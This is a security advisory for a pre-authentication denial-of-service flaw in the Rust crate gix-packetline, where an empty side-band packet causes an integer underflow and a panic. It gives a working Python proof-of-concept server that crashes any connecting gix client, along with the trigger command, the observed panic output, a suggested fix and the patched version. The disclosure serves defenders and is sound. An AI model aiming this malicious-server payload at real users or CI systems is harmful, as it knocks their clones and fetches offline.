---
id: CVE-2026-82250
aliases:
  - GHSA-2vh6-hw4j-32ww
title: >-
  gix-packetline: reachable panic on empty side-band packet (pre-auth network
  DoS)
summary: >-
  gix-packetline: reachable panic on empty side-band packet (pre-auth network
  DoS)
severity: medium
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H'
vendor: gix-packetline
product: gix-packetline
ecosystem: rust
affected:
  - gix-packetline < 0.21.5
patched:
  - gix-packetline 0.21.5
published: '2026-08-28'
updated: '2026-08-29'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-2vh6-hw4j-32ww'
references:
  - url: >-
      https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-2vh6-hw4j-32ww
  - url: 'https://github.com/GitoxideLabs/gitoxide/pull/2638'
  - url: >-
      https://github.com/GitoxideLabs/gitoxide/commit/4bef04ae8a261634200b3a6faabdd77e25aeb8c1
  - url: 'https://github.com/GitoxideLabs/gitoxide'
  - url: >-
      https://github.com/GitoxideLabs/gitoxide/releases/tag/gix-packetline-v0.21.5
tags:
  - osv
  - rust
epss: 0.00432
epssPercentile: 0.34841
ingestedAt: '2026-08-29T19:29:15.672Z'
---

## Overview

### Summary
`gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service.

### Details
In `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`:
https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199
When `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch.

(Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.)

### PoC
Confirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`.

1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload:

```python
import socket
HOST, PORT = "127.0.0.1", 9418
def pkt(d): return ("%04x" % (len(d)+4)).encode() + d
FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890"
def handle(c):
    c.recv(65536)
    c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n")
              +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH)
    buf=b""; sent=False
    while True:
        d=c.recv(65536)
        if not d: return
        buf+=d
        if b"command=ls-refs" in buf and not sent:
            c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n")
                      +pkt(OID+b" refs/heads/master\n")+FLUSH); sent=True; buf=b""; continue
        if b"command=fetch" in buf and (buf.rstrip().endswith(b"0000") or b"done" in buf):
            c.sendall(pkt(b"packfile\n") + b"0005\x02")   # band id 2, EMPTY payload
            try: c.recv(4096)
            except Exception: pass
            return
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,PORT)); s.listen(1); print("listening",PORT)
conn,_=s.accept(); conn.settimeout(5.0)
try: handle(conn)
finally: conn.close(); s.close()
```

2. Point the real client at it:
```
RUST_BACKTRACE=1 gix clone git://127.0.0.1:9418/repo.git /tmp/out
```

Observed:
```
thread 'main' panicked at gix-packetline/src/lib.rs:199:20:
index out of bounds: the len is 0 but the index is 18446744073709551615
exit code: 101
```
### Impact
A pre-authentication, network-triggered denial of service. Any tool, library, or CI pipeline that clones/fetches from an attacker-influenced remote using `gix` / `gix-packetline` crashes (process abort). No authentication is required, and in unattended automation no user interaction gates the fetch.

### Suggested fix
Guard the empty-slice case instead of indexing unconditionally, e.g. `let d = d.strip_suffix(b"\n").unwrap_or(d);`, or check `!d.is_empty()` / `d.last() == Some(&b'\n')` before slicing.

## Affected packages

- `gix-packetline < 0.21.5`

## Remediation

Upgrade to a patched release:

- `gix-packetline 0.21.5`